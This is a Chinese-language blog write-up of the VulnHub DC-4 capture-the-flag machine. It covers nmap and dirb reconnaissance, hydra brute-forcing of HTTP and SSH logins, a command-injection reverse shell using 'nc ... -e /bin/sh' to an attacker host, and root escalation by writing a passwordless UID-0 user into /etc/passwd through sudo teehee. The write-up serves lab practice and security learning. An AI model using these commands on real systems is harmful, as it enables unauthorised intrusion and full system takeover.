• 【Try to Hack】vulnhub DC4


    📒博客主页:开心星人的博客主页
    🔥系列专栏:Try to Hack
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年7月1日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    靶机默认为桥接模式

    kali设置为桥接模式

    主机发现
    netdiscover
    在这里插入图片描述
    靶机ip为192.168.0.151

    namp -p- -A 192.168.0.151
    在这里插入图片描述
    ssh服务和http服务

    访问80端口
    在这里插入图片描述
    dirb常规目录扫描
    dirb http://192.168.0.151
    在这里插入图片描述
    两个目录403

    whatweb http://192.168.0.151
    在这里插入图片描述
    这个页面没法用cwel爬取字典

    上弱口令
    上hydra,用john自带的字典 /usr/share/john/password.lst

    已知用户名为admin
    hydra -l admin -P /usr/share/john/password.lst 192.168.0.151 http-get /
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    可以执行命令,但是命令写死了
    抓包看一下
    在这里插入图片描述
    确实是的
    在这里插入图片描述
    反弹个shell
    radio=nc+192.168.0.106+233+-e+/bin/sh&submit=Run
    在这里插入图片描述

    nc -lvvp 233
    放包
    在这里插入图片描述

    python -c 'import pty;pty.spawn("/bin/bash")'
    获得一个交互式的shell

    ls /home
    有三个用户
    在这里插入图片描述

    一个一个翻一下
    只有jim能看
    在这里插入图片描述
    在这里插入图片描述
    有密码
    在这里插入图片描述
    继续翻jim下的其他文件
    在这里插入图片描述
    没有权限查看mbox

    现在看ssh服务

    然后将三个用户保存为user.txt。
    我直接把密码备份文件手动复制到了kali攻击机里
    用hydra爆破ssh服务
    hydra -L user.txt -P password.txt 192.168.0.151 ssh -t 60
    在这里插入图片描述
    ssh爆破出来一个用户
    jim:jibril04
    登录看一下
    ssh jim@192.168.0.151
    在这里插入图片描述
    登录成功
    可以查看mbox
    在这里插入图片描述
    这是发邮件,root给jim发的邮件,但是没有邮件内容
    在/var/jim里面找到 。(这个/var/mail是默认自带的文件夹,可能就是用来保存邮件的)
    在这里插入图片描述
    得到了charles的密码
    登录看看
    在这里插入图片描述
    在这里插入图片描述
    什么都没发现

    现在只能考虑提权了
    给了我们charles这个用户,那就用这个用户来提权
    在这里插入图片描述
    test.sh具有suid权限,但是我不知道它什么时候会运行,没见过它运行的样子。

    第一考虑用用ping提权,但是发现好像不太行

    用sudo
    sudo -l
    在这里插入图片描述
    在这里插入图片描述
    echo "happy::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
    构造一个用户具有root权限,写入/etc/passwd
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    如何在Blender中压缩/减小GLTF模型的大小
    Linux操作系统shell指令详解
    Liunx两台服务器实现相互SSH免密登录
    3分钟搭建自己的MQTT服务器,就是这么简单!
    Linux 下的 10 个 PDF 软件
    python日期转换 青少年编程电子学会python编程等级考试二级真题解析2021年9月
    百度面试——AI算法岗
    ACM. HJ70 矩阵乘法计算量估算 ●●
    字符函数和字符串函数(C语言)
    数据结构-线程池与任务队列刷题
  • 原文地址:https://blog.csdn.net/qq_55675216/article/details/125538403